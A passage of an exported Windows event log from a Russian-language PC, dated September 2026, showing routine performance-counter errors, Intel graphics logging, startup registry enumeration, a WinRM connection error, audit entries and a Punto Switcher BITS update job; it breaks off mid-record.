incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.676\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.676\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.678\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.680\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.681\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.681\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.685\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"SupportedColorFormatAndDepth\",\"parameters\":{\"Display\":\"Internal\",\"Supported\":true,\"CurrentPixelFormat\":\"RGB\",\"CurrentColorDepth\":\"BPC_8\",\"PixelFormat RGB\":\"7FFC54E9D31C\",\"PixelFormat YCBCR_420\":\"7FFC54E9D314\",\"PixelFormat YCBCR_422\":\"7FFC54E9D314\",\"PixelFormat YCBCR_444\":\"7FFC54E9D314\",\"ColorDepth 6bpc\":\"7FFC54E9D314\",\"ColorDepth 8bpc\":\"7FFC54E9D31C\",\"ColorDepth 10bpc\":\"7FFC54E9D31C\",\"ColorDepth 12bpc\":\"7FFC54E9D314\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.700\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.701\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.705\t2\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics display: Internal - 8388688\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.740\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.741\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.806\t2\t{\"category\":\"WindowsDisplayManagerWrapper\",\"level\":\"Information\",\"message\":\"GetMonitorName 8388688: \"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.876\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_Position\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"TopLeft\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.877\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_TargetAdapterPersistentId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.880\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_AdapterId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.881\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"PerformanceMetricsOverlay_TargetDisplayId\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Set\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.941\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.981\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.983\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:29.987\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:30.124\t42\t{\"category\":\"PresentMonWrapper\",\"level\":\"Information\",\"message\":\"Loaded PresentMonAPI2.dll\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:30.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.784\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.908\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:30.926\t9708\tFinished execution of command 'IntelGraphicsSoftware.exe\" -s' (PID 16176).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.927\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.943\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.944\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.944\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:30.947\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:31.134\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.255\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.480\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.700\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:31.959\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.959\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.959\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:31.980\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x25e8\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:31.981\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x25e8\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.015\t3\t\"The BITS service created a new job.\nTransfer job: Yupdate-task\nJob ID: {a9ba6902-5270-40a5-8951-0fc967a4de1c}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\punto.exe\nProcess ID: 16120\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.022\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.024\t6\tCommand-line command set for job {a9ba6902-5270-40a5-8951-0fc967a4de1c} with owner 